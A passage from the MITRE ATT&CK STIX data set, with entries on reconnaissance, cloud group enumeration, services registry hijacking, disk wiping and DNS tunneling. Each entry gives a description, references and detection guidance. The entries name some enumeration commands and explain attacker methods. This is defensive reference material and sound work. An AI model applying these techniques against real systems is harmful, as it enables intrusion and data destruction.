                    "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/"
                },
                {
                    "source_name": "Register Robots TXT 2015",
                    "description": "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.",
                    "url": "https://www.theregister.com/2015/05/19/robotstxt/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:04:36.505Z",
            "name": "Search Victim-Owned Websites",
            "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "James P Callahan, Professional Paranoid"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
            "created": "2020-02-21T21:15:33.222Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1069/003",
                    "external_id": "T1069.003"
                },
                {
                    "source_name": "AWS Get Bucket ACL",
                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
                },
                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                },
                {
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
                },
                {
                    "source_name": "Google Cloud Identity API Documentation",
                    "description": "Google. (n.d.). Retrieved March 16, 2021.",
                    "url": "https://cloud.google.com/identity/docs/reference/rest"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Microsoft Msolrole",
                    "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
                },
                {
                    "source_name": "GitHub Raindance",
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance"
                }
            ],
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            "modified": "2025-04-15T22:02:13.319Z",
            "name": "Cloud Groups",
            "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
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                {
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            ],
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            "x_mitre_contributors": [
                "Regina Elwell",
                "Isif Ibrahima, Mandiant"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Office Suite",
                "Identity Provider"
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            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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                "Process: Process Creation",
                "Group: Group Metadata",
                "Group: Group Enumeration"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
            "created": "2020-03-13T11:42:14.444Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/011",
                    "external_id": "T1574.011"
                },
                {
                    "source_name": "Tweet Registry Perms Weakness",
                    "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
                    "url": "https://x.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "insecure_reg_perms",
                    "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
                    "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
                },
                {
                    "source_name": "Kansa Service related collectors",
                    "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
                },
                {
                    "source_name": "malware_hides_service",
                    "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
                    "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
                },
                {
                    "source_name": "Autoruns for Windows",
                    "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
                },
                {
                    "source_name": "Registry Key Security",
                    "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
                },
                {
                    "source_name": "microsoft_services_registry_tree",
                    "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
                },
                {
                    "source_name": "troj_zegost",
                    "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:09.308Z",
            "name": "Services Registry Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service)",
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                },
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                    "phase_name": "privilege-escalation"
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            "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532",
            "created": "2020-10-02T16:57:45.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/001",
                    "external_id": "T1596.001"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
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            "modified": "2025-04-15T22:14:34.882Z",
            "name": "DNS/Passive DNS",
            "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                    "phase_name": "reconnaissance"
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9",
            "created": "2020-02-20T15:35:00.025Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499/003",
                    "external_id": "T1499.003"
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                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
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                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
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            "modified": "2025-04-15T21:48:39.804Z",
            "name": "Application Exhaustion Flood",
            "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)",
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            "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1163",
                    "external_id": "T1163"
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                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "name": "Rc.common",
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            "x_mitre_detection": "The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.",
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            "x_mitre_is_subtechnique": false,
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720",
            "created": "2020-03-11T14:13:42.916Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1195/001",
                    "external_id": "T1195.001"
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                {
                    "source_name": "Trendmicro NPM Compromise",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
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            "modified": "2025-04-15T22:08:13.223Z",
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            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
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            "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
            "created": "2020-10-01T02:14:18.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1588/004",
                    "external_id": "T1588.004"
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                {
                    "source_name": "DiginotarCompromise",
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                },
                {
                    "source_name": "Recorded Future Beacon Certificates",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
                },
                {
                    "source_name": "Let's Encrypt FAQ",
                    "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.",
                    "url": "https://letsencrypt.org/docs/faq/"
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            "modified": "2025-04-15T22:18:17.702Z",
            "name": "Digital Certificates",
            "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
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            "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
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            "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
            "created": "2020-10-01T00:40:45.279Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1583/002",
                    "external_id": "T1583.002"
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                {
                    "source_name": "Unit42 DNS Mar 2019",
                    "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/"
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            "modified": "2025-04-15T22:14:14.654Z",
            "name": "DNS Server",
            "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
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            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967",
            "created": "2020-02-20T22:02:20.372Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1561",
                    "external_id": "T1561"
                },
                {
                    "source_name": "erase_cmd_cisco",
                    "description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:09.974Z",
            "name": "Disk Wipe",
            "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_impact_type": [
                "Availability"
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            "x_mitre_data_sources": [
                "Driver: Driver Load",
                "Drive: Drive Access",
                "Command: Command Execution",
                "Drive: Drive Modification",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "created": "2020-03-15T16:27:31.768Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1071/004",
                    "external_id": "T1071.004"
                },
                {
                    "source_name": "Medium DnsTunneling",
                    "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.",
                    "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "PAN DNS Tunneling",
                    "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.",
                    "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:10.065Z",
            "name": "DNS",
            "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jan Petrov, Citi",
                "Chris Heald"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
            "created": "2020-02-11T18:47:46.619Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/005",
                    "external_id": "T1552.005"
                },
                {
                    "source_name": "AWS Instance Metadata API",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"
                },
                {
                    "source_name": "RedLock Instance Metadata API 2018",
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
                },
                {
                    "source_name": "Krebs Capital One August 2019",
                    "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.",
                    "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:02:45.218Z",
            "name": "Cloud Instance Metadata API",
